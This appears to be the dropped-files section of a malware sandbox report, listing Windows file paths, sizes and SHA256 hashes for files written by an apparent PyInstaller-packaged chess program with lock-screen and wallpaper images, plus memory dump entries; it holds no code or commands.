                                                                                                  • SHA256 af3f394566b97cfc22c73ddaa98ddc6f0815c32959a3ab404a10b26e87304616
                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                  Submit Download

                                                                                                  https___java_com_help
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\https___java_com_help
                                                                                                  • Size 36KB
                                                                                                  • SHA256 813c66ce7dec4cff9c55fb6f809eab909421e37f69ff30e4acaa502365a32bd1
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_WindowsPowerShell_v1_0_PowerShell_ISE_exe
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\AppIconCache\100\{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}_WindowsPowerShell_v1_0_PowerShell_ISE_exe
                                                                                                  • Size 36KB
                                                                                                  • SHA256 2192613bbcf96dd824a813b59c598c486ea713a05c82fb1184eb955bc3b84839
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  0.0.filtertrie.intermediate.txt
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{969c2d76-40b7-4362-b716-38d4aacc6064}\0.0.filtertrie.intermediate.txt
                                                                                                  • Size 30KB
                                                                                                  • SHA256 dbde1c7ce64381d0dd036ad858f25f15b295b61d353a74d294b03f84057455b5
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  0.1.filtertrie.intermediate.txt
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{969c2d76-40b7-4362-b716-38d4aacc6064}\0.1.filtertrie.intermediate.txt
                                                                                                  • Size 5B
                                                                                                  • SHA256 8e1e6a3d56796a245d0c7b0849548932fee803bbdb03f6e289495830e017f14c
                                                                                                  • MD5 SHA1 SHA512
                                                                                                  Submit Download

                                                                                                  0.2.filtertrie.intermediate.txt
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{969c2d76-40b7-4362-b716-38d4aacc6064}\0.2.filtertrie.intermediate.txt
                                                                                                  • Size 5B
                                                                                                  • SHA256 d65b6a3bf11a27a1ced1f7e98082246e40cf01289fd47fe4a5ed46c221f2f73f
                                                                                                  • MD5 SHA1 SHA512
                                                                                                  Submit Download

                                                                                                  Apps.ft
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{969c2d76-40b7-4362-b716-38d4aacc6064}\Apps.ft
                                                                                                  • Size 40KB
                                                                                                  • SHA256 94c8c5fca08e446b66792b6afd1317d23a9fb1934e3bac3b8d8b800a3cb887e2
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  Apps.index
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{969c2d76-40b7-4362-b716-38d4aacc6064}\Apps.index
                                                                                                  • Size 1.0MB
                                                                                                  • SHA256 7c2e528ef25d64c73ea57ce9c9ea9897adea8add514f1bef2f4730fc3c5395db
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  AppCache134375475915025194.txt.~tmp
                                                                                                  • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134375475915025194.txt.~tmp
                                                                                                  • Size 85KB
                                                                                                  • SHA256 7326b01443bcfe8e848aa009279770d630a3f10b8f3ac03821207fb00269aca9
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _imagingtk.pyi
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\PIL\_imagingtk.pyi
                                                                                                  • Size 66B
                                                                                                  • SHA256 cc3f2f0283c2f1a1085637dc90bb45b24456e6c6a255e977fac254036a476867
                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                  Submit Download

                                                                                                  SDL2.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\SDL2.dll
                                                                                                  • Size 2.4MB
                                                                                                  • SHA256 520d0459b91efa32fbccf9027a9ca1fc5aae657e679ce8e90f179f9cf5afd279
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  SDL2_image.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\SDL2_image.dll
                                                                                                  • Size 122KB
                                                                                                  • SHA256 1e364af75fee0c83506fbdfd4d5b0e386c4e9c6a33ddbddac61ddb131e360194
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  SDL2_mixer.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\SDL2_mixer.dll
                                                                                                  • Size 285KB
                                                                                                  • SHA256 2a0fc5e9f72c2eaec3240cb82b7594a58ccda609485981f256b94d0a4dd8d6f8
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  SDL2_ttf.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\SDL2_ttf.dll
                                                                                                  • Size 1.5MB
                                                                                                  • SHA256 fcdfabdfce868eb33f7514025ff59c1bb6c418f1bcd6ace2300a9cd4053e1d63
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  VCRUNTIME140.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\VCRUNTIME140.dll
                                                                                                  • Size 116KB
                                                                                                  • SHA256 4d292623516f65c80482081e62d5dadb759dc16e851de5db24c3cbb57b87db83
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  VCRUNTIME140_1.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\VCRUNTIME140_1.dll
                                                                                                  • Size 48KB
                                                                                                  • SHA256 a113f192195f245f17389e6ecbed8005990bcb2476ddad33f7c4c6c86327afe5
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _asyncio.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_asyncio.pyd
                                                                                                  • Size 69KB
                                                                                                  • SHA256 3b46fa8f966288ead65465468c8e300b9179f5d7b39aa25d7231ff3702ca7887
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _bz2.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_bz2.pyd
                                                                                                  • Size 83KB
                                                                                                  • SHA256 cb15d6cc7268d3a0bd17d9d9cec330a7c1768b1c911553045c73bc6920de987f
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _ctypes.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_ctypes.pyd
                                                                                                  • Size 122KB
                                                                                                  • SHA256 6c5f31bef3fdbff31beac0b1a477be880dda61346d859cf34ca93b9291594d93
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _decimal.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_decimal.pyd
                                                                                                  • Size 251KB
                                                                                                  • SHA256 da8bb3d54bbba20d8fa6c2fd0a4389aec80ab6bd490b0abef5bd65097cbc0da4
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _elementtree.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_elementtree.pyd
                                                                                                  • Size 130KB
                                                                                                  • SHA256 798e8ddfc45495c26593a0550554e32a62cbdd9da5556e25da7231a0bf8fd274
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _hashlib.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_hashlib.pyd
                                                                                                  • Size 64KB
                                                                                                  • SHA256 43acecdc00dd5f9a19b48ff251106c63c975c732b9a2a7b91714642f76be074d
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _lzma.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_lzma.pyd
                                                                                                  • Size 156KB
                                                                                                  • SHA256 a46189c5bd0302029847fed934f481835cb8d06470ea3d6b97ada7d325218a9f
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _multiprocessing.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_multiprocessing.pyd
                                                                                                  • Size 34KB
                                                                                                  • SHA256 2feb0bf9658634fe8405f17c4573feb1c300e9345d7965738bedeb871a939e6b
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _overlapped.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_overlapped.pyd
                                                                                                  • Size 54KB
                                                                                                  • SHA256 2187281a097025c03991cd8eb2c9ca416278b898bd640a8732421b91ada607e8
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _queue.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_queue.pyd
                                                                                                  • Size 31KB
                                                                                                  • SHA256 0a6acfd24dfbaa777460c6d003f71af473d5415607807973a382512f77d075fa
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _socket.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_socket.pyd
                                                                                                  • Size 81KB
                                                                                                  • SHA256 67aca001d36f2fce6d88dbf46863f60c0b291395b6777c22b642198f98184ba3
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _ssl.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_ssl.pyd
                                                                                                  • Size 174KB
                                                                                                  • SHA256 fa5e6fe9545f83704f78316e27446a0026fbebb9c0c3c63faed73a12d89784d4
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _tkinter.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_tkinter.pyd
                                                                                                  • Size 64KB
                                                                                                  • SHA256 f91d38d865378a120f76596c90e79f6ba57fcf3c39dedb99098e597d9b577256
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  _wmi.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\_wmi.pyd
                                                                                                  • Size 36KB
                                                                                                  • SHA256 73b7ee3156ef63d6eb7df9900ef3d200a276df61a70d08bd96f5906c39a3ac32
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  base_library.zip
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\base_library.zip
                                                                                                  • Size 1.3MB
                                                                                                  • SHA256 bc18c5436fa2a6580f3d4a9886f4ebfcdce3d25a3167d758395b001864d1f533
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  chess_ai.py
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\chess_ai.py
                                                                                                  • Size 14KB
                                                                                                  • SHA256 bea3c1949a8af44a576bf397a3d56f803917de58e9077b1ed1a69ad212a10027
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  chess_events.py
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\chess_events.py
                                                                                                  • Size 42KB
                                                                                                  • SHA256 f946aee93c08456b39d182da387b88c15c1107f8e0367234ff866ce4036a3118
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  freetype.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\freetype.dll
                                                                                                  • Size 639KB
                                                                                                  • SHA256 1c487392d6d06970ba3c7b52705881f1fb069f607243499276c2f0c033c7df6f
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  icon.ico
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\icon.ico
                                                                                                  • Size 3KB
                                                                                                  • SHA256 da305573f3fa875b99cf9b6da7db515aac2a11e91cf4e1431b1337f06f2126a5
                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                  Submit Download

                                                                                                  libcrypto-3.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libcrypto-3.dll
                                                                                                  • Size 5.0MB
                                                                                                  • SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libffi-8.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libffi-8.dll
                                                                                                  • Size 38KB
                                                                                                  • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libjpeg-9.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libjpeg-9.dll
                                                                                                  • Size 238KB
                                                                                                  • SHA256 3a224af540c96574800f5e9acf64b2cdfb9060e727919ec14fbd187a9b5bfe69
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libmodplug-1.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libmodplug-1.dll
                                                                                                  • Size 259KB
                                                                                                  • SHA256 0c1a9032812ec4c20003a997423e67b71ecb5e59d62cdc18a5bf591176a9010e
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libogg-0.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libogg-0.dll
                                                                                                  • Size 25KB
                                                                                                  • SHA256 57abc4f6a9accdd08bf9a2b022a66640cc626a5bd4dac6c7c4f06a5df61ee1fe
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libopus-0.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libopus-0.dll
                                                                                                  • Size 359KB
                                                                                                  • SHA256 771cae79410f7fcc4f993a105a18c4ed9e8cbddd6f807a42228d95f575808806
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libopusfile-0.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libopusfile-0.dll
                                                                                                  • Size 45KB
                                                                                                  • SHA256 ccaaca81810bd2d1cab4692b4253a639f8d5516996db0e24d881efd3efdcc6a4
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libpng16-16.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libpng16-16.dll
                                                                                                  • Size 206KB
                                                                                                  • SHA256 e688b4a4d18f4b6ccc99c6ca4980f51218cb825610775192d9b60b2f05eff2d5
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libssl-3.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libssl-3.dll
                                                                                                  • Size 774KB
                                                                                                  • SHA256 2e4d35b681a172d3298caf7dc670451be7a8ba27c26446efc67470742497a950
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libtiff-5.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libtiff-5.dll
                                                                                                  • Size 422KB
                                                                                                  • SHA256 ebfe97ac5ef26b94945af3db5ffd110a4b8e92dc02559bf81ccb33f0d5ebce95
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  libwebp-7.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\libwebp-7.dll
                                                                                                  • Size 437KB
                                                                                                  • SHA256 9a53563b6058f70f2725029b7dd2fe96f869c20e8090031cd303e994dfe07b50
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  lock.jpg
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\lock.jpg
                                                                                                  • Size 204KB
                                                                                                  • SHA256 1542a1d6f6af7f2cb76aaa5adec85c742ba841e09f1eb6091543b93fc837b1b2
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  portmidi.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\portmidi.dll
                                                                                                  • Size 41KB
                                                                                                  • SHA256 c9f8d9043ac1570b10f104f2d00aec791f56261c84ee40773be73d0a3822e013
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  pyexpat.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\pyexpat.pyd
                                                                                                  • Size 197KB
                                                                                                  • SHA256 d32d7722d6ed2b2780c039d63af044554c0ba9cf6e6efef28ebc79cb443d2da0
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  python3.DLL
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\python3.DLL
                                                                                                  • Size 66KB
                                                                                                  • SHA256 25a39e721c26e53bec292395d093211bba70465280acfa2059fa52957ec975b2
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  python312.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\python312.dll
                                                                                                  • Size 6.6MB
                                                                                                  • SHA256 c045b57348c21f5f810bae60654ae39490846b487378e917595f1f95438f9546
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  select.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\select.pyd
                                                                                                  • Size 30KB
                                                                                                  • SHA256 00bd8bb6dec8c291ec14c8ddfb2209d85f96db02c7a3c39903803384ff3a65e5
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  tcl86t.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\tcl86t.dll
                                                                                                  • Size 1.7MB
                                                                                                  • SHA256 1026c8c8eaaf3744f3ad8e80b4baa366e88aa0a048c0823838e39acef86ce964
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  tk86t.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\tk86t.dll
                                                                                                  • Size 1.5MB
                                                                                                  • SHA256 59e2a8784bdbd35b4bf8e688690e2672b6b5d652cc063ba19661eff2715b8e13
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  unicodedata.pyd
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\unicodedata.pyd
                                                                                                  • Size 1.1MB
                                                                                                  • SHA256 bf669344d1b1c607d10304be47d2a2fb572e043109181e2c5c1038485af0c3d7
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  wallpaper.jpg
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\wallpaper.jpg
                                                                                                  • Size 105KB
                                                                                                  • SHA256 0e95ad1a5b9d780d779c1d660b34d2db33cb1d2996da0a13a7bd2d32bc90ad67
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  zlib1.dll
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\_MEI21602\zlib1.dll
                                                                                                  • Size 106KB
                                                                                                  • SHA256 b1f58a17f3bfd55523e7bef685acf5b32d1c2a6f25abdcd442681266fd26ab08
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  __PSScriptPolicyTest_hfvu3cfy.xzb.ps1
                                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfvu3cfy.xzb.ps1
                                                                                                  • Size 60B
                                                                                                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                  Submit Download

                                                                                                  admin_backup.txt
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Lumi\admin_backup.txt
                                                                                                  • Size 13B
                                                                                                  • SHA256 e7d3e769f3f593dadcb8634cc5b09fc90dd3a61c4a06a79cb0923662fe6fae6b
                                                                                                  • MD5 SHA1 SHA512
                                                                                                  Submit Download

                                                                                                  heart.cur
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Lumi\heart.cur
                                                                                                  • Size 237B
                                                                                                  • SHA256 aab9ff008add54f056fc0d518795432a3c48ebb10625b0b03653b03baf889cc0
                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                  Submit Download

                                                                                                  CachedImage_1920_1080_POS10.jpg
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS10.jpg
                                                                                                  • Size 227KB
                                                                                                  • SHA256 35d2008fa1027a48853589ef04807c54203a6323b8350ff3dbf130ea603e7d76
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  CachedImage_1920_1080_POS4.jpg
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1920_1080_POS4.jpg
                                                                                                  • Size 239KB
                                                                                                  • SHA256 a917d77e7df1741becfab590fe8c59f0c9ba243a4de398e009eddba52704ab2b
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  TranscodedWallpaper
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                                                                                                  • Size 219KB
                                                                                                  • SHA256 b8ade9818ee9e38158cf11e871de77d8c55eb8cad82a5f40c873e0a2bfb7f1ce
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  TranscodedWallpaper
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                                                                                                  • Size 292KB
                                                                                                  • SHA256 f90d35dddd442d0b1e9418dcf67eb236387a5299a80563989efbad97f0881b97
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  TranscodedWallpaper
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                                                                                                  • Size 420KB
                                                                                                  • SHA256 dfcf9bf5f1a267e3481df1053dbdd3885dd328d2e04b4902f36318576011a04c
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  TranscodedWallpaper
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                                                                                                  • Size 58KB
                                                                                                  • SHA256 a6d998f1cdff8ef81586e698d1cd2edb59fb4ca8c1045dc3ad2264455648841f
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  TranscodedWallpaper
                                                                                                  • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper
                                                                                                  • Size 288KB
                                                                                                  • SHA256 e2785aab625a31261319fb472d10abf0bbbf80a2921805da9585064927627cac
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  Microsoft Edge.lnk
                                                                                                  • Path C:\Users\Admin\Desktop\Microsoft Edge.lnk
                                                                                                  • Size 2KB
                                                                                                  • SHA256 ff0269e4e594f229a4d0b6846127d99e5d39f3ed36e307b2e026e0b679302966
                                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                                  Submit Download

                                                                                                  lumi_014.jpg
                                                                                                  • Path C:\Users\Admin\Downloads\lumi_014.jpg
                                                                                                  • Size 95KB
                                                                                                  • SHA256 db437f9e2a242b67741ec47fbf7df70d6d442ff15d77ec78de9fca81079fc290
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  lumi_015.jpg
                                                                                                  • Path C:\Users\Admin\Downloads\lumi_015.jpg
                                                                                                  • Size 117KB
                                                                                                  • SHA256 d6096aaa15ffc451287aad1e7898576c62df64cc9ef3b996fdac835451adaae0
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  lumi_016.jpg
                                                                                                  • Path C:\Users\Admin\Downloads\lumi_016.jpg
                                                                                                  • Size 90KB
                                                                                                  • SHA256 19d4073935f3bf89a131128d0df01789672406d70bda6bf304a91e901a589970
                                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                  Submit Download

                                                                                                  memory/400-1372-0x0000000004480000-0x0000000004481000-memory.dmp
                                                                                                  Download

                                                                                                  memory/1504-1840-0x0000025426A20000-0x00000254274E1000-memory.dmp
                                                                                                  Download

                                                                                                  memory/2584-1678-0x000001D3C9310000-0x000001D3C9DD1000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1311-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1307-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1356-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1360-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1339-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1514-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1335-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1545-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1549-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1553-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1571-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1331-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1327-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1323-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1579-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1319-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1590-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1595-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1607-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1612-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1616-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1620-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1315-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1628-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1632-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
                                                                                                  Download

                                                                                                  memory/3392-1636-0x00007FFA10BF0000-0x00007FFA10E5C000-memory.dmp
